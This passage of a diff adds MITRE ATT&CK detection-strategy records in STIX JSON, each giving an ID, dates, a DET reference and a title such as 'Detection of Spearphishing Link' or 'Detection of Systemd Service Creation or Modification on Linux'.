"x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3ada68d4-a4ab-4c06-98ce-33aaef54a115", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0856", + "external_id": "DET0856" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Search Open Websites/Domains", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c752faa1-9cc2-421a-b646-0efe4da990c9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6b173b90-4b1d-4de8-a506-95b8b10921a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0866", + "external_id": "DET0866" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Search Threat Vendor Data", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ac4bf64e-da14-4416-8961-f0736eb4d9be" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--52cee5e7-a92e-433e-9b56-38c8f7b16264", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0810", + "external_id": "DET0810" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Search Victim-Owned Websites", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5c5afe0d-b967-49ac-8c3e-eeb9cc01667d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7c1262bb-c0d1-4e0c-bab8-a232f7bed9d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-23 17:50:38.555000+00:00", + "modified": "2025-10-23 20:53:44.184000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detection-strategies/DET0897", + "external_id": "DET0897" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Selective Exclusion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--098f0607-df17-4291-a1b1-a8e3374c075a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6bf8b26d-aa2d-4a8f-a1e4-c9cc4aef318d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0874", + "external_id": "DET0874" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Server", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0fc0c7ce-e56d-4f3f-ab91-903861124816" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c377533f-702a-4e82-a254-9855b9362c22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0871", + "external_id": "DET0871" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Server", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8ad0cc97-4f6e-4ea0-a930-3fdb6b0df819" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9695c6af-f3cc-40fa-b3a1-351014c6282f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0829", + "external_id": "DET0829" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Serverless", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c755e8b9-7e07-4e9a-95a1-bc7cb88e878a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--427d7e41-293a-4616-aec7-d5eea56431d0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0864", + "external_id": "DET0864" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Serverless", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fd652339-e12f-4295-b843-0665680054bd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d16b47ab-e157-4538-8264-3fa9870a0e02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0812", + "external_id": "DET0812" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Social Media", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--240a8cec-0e3a-44ed-a485-4d212a21b127" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--172b779a-9d14-4c5f-ba4c-3e784b4ae1b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0870", + "external_id": "DET0870" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Social Media Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--51133710-7c09-4eb5-a0bc-6fc5338cd68d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5ff1a219-e2d2-4e4b-bb32-346fcaffa52b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0851", + "external_id": "DET0851" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Social Media Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9301fed2-1abe-4250-85b0-7794431e9034" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--967d05e3-0d40-40d9-a94e-f32e17397404", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0888", + "external_id": "DET0888" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Software", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--da8a7d00-6f8a-4bc6-9863-3a434c9d36c1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e62ddd99-6357-4388-b3df-d7d7b6984630", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0865", + "external_id": "DET0865" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Spearphishing Attachment", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--705ecef8-b41e-4b1f-bd7c-f3b2ff930c11" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c9242c28-ee1a-45d2-800a-948252884a7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0878", + "external_id": "DET0878" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Spearphishing Link", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--985e0098-b77c-4099-a262-5f195b654187" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--16e7016e-ce95-4eca-b340-ff158949d11d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0821", + "external_id": "DET0821" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Spearphishing Service", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5880eb25-eec5-4b40-a3fa-6a3c633a3e56" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ce26e75b-f8bf-45d5-b0fd-601e3d8fd800", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0886", + "external_id": "DET0886" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Spearphishing Voice", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--80e453fd-8191-474a-b577-7a575ef5fe87" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ad21a251-e824-4368-a04c-8a480ee653cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-23 17:54:46.514000+00:00", + "modified": "2025-10-23 19:55:18.990000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detection-strategies/DET0898", + "external_id": "DET0898" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Spoofed User-Agent", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b73489af-2e95-4f41-b82e-327a84da2a1d", + "x-mitre-analytic--acabb18b-e2d6-4531-92bb-4165f0a16595", + "x-mitre-analytic--29ca0e06-e848-44cd-821a-24576276a8af" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5a1ada5b-5729-45d5-8b3d-f6fa7d2a3352", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0839", + "external_id": "DET0839" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Stage Capabilities", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1fec971d-c822-4819-9489-8c27857e3481" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fafb9522-c185-48e0-b0a5-e65887f5deb4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0342", + "external_id": "DET0342" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Suspicious Compiled HTML File Execution via hh.exe", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--23e84bf6-70d1-4c49-97b8-0fff9c6efa8f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c7bdd7d7-19dc-4042-8565-5e0cf4656102", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0441", + "external_id": "DET0441" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Suspicious Scheduled Task Creation and Execution on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4959f750-78db-4b4c-8d91-23027b386c2b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7c45d09a-030e-4b30-b2d9-41fee3daa293", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0320", + "external_id": "DET0320" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Network Connections Discovery Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d78b4bb3-bd0a-4e43-bc19-0a7b72f6a9d3", + "x-mitre-analytic--10dcfce8-70df-4682-ab04-90279d7292f9", + "x-mitre-analytic--635f834e-ee46-496f-aec4-23dbef04451b", + "x-mitre-analytic--d42c2a80-bf02-460f-b279-147940ece3a9", + "x-mitre-analytic--c6208aa1-fa6e-4d9d-a284-dd0aab1ee31c", + "x-mitre-analytic--914a5b13-5977-4e62-abab-9ee03e72624f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dab6c58b-2f44-4539-93e1-b03990fc1649", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0571", + "external_id": "DET0571" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Process Creation or Modification Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9a65f8bc-1b81-4e05-8e8b-bfdb0d581213", + "x-mitre-analytic--9a73d14c-ce3c-47c5-a6c2-3d6b49c4d009", + "x-mitre-analytic--f315abd4-7115-45ac-9466-64c23367cd41", + "x-mitre-analytic--52ee5593-7db2-4ad0-b5f4-630ebcf2ce0f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d8e8768e-34c1-45f4-95d2-fa7ba317b63a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0483", + "external_id": "DET0483" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Service Discovery Commands Across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--475313b7-c26f-44f6-a8f3-09b57f03fcd8", + "x-mitre-analytic--20879a60-f16c-4a90-bd71-2c8865c99481", + "x-mitre-analytic--8f654b08-222f-4fc0-83cc-ab871e290d1e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3c335443-c161-4149-9c85-d7a014550099", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0253", + "external_id": "DET0253" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Systemd Service Creation or Modification on Linux", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4da5660a-3b1c-4b4d-ad79-991bef456b20" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cdfe6166-43e9-434a-a961-139edd58ca0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0471", + "external_id": "DET0471" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Tainted Content Written to Shared Storage", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a0554596-7100-4f8b-a4dd-165f528fe6a1", + "x-mitre-analytic--7518f788-43dd-440a-955c-870cdb7dea26", + "x-mitre-analytic--3f36a861-3be2-4f6d-bfad-f044cdc01b15", + "x-mitre-analytic--49e91c60-9b73-4a0a-9510-f94152a8ba5e", + "x-mitre-analytic--bc143cf2-d6fb-4ea4-98a5-a2db81fc3f84" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--deb0a989-7d09-4403-b1a1-8658e36a0f9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0816", + "external_id": "DET0816" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Threat Intel Vendors", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--23855fa6-f6d6-4a9c-a270-ea1f2830ef60" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cb821d3c-ede3-43a4-915b-f779b04318f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0852", + "external_id": "DET0852" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Tool", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6f7fa682-fd50-4de4-add3-cbaa3c127b70" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9e93c9d8-3e37-45ae-88d5-12914d98ba5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0458", + "external_id": "DET0458" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Trust Relationship Modifications in Domain or Tenant Policies", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c84ed29d-c0bf-465c-9e4a-7685cd4ff444", + "x-mitre-analytic--a2d3072a-0f3a-46a1-a92e-f0d7ae030b48" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 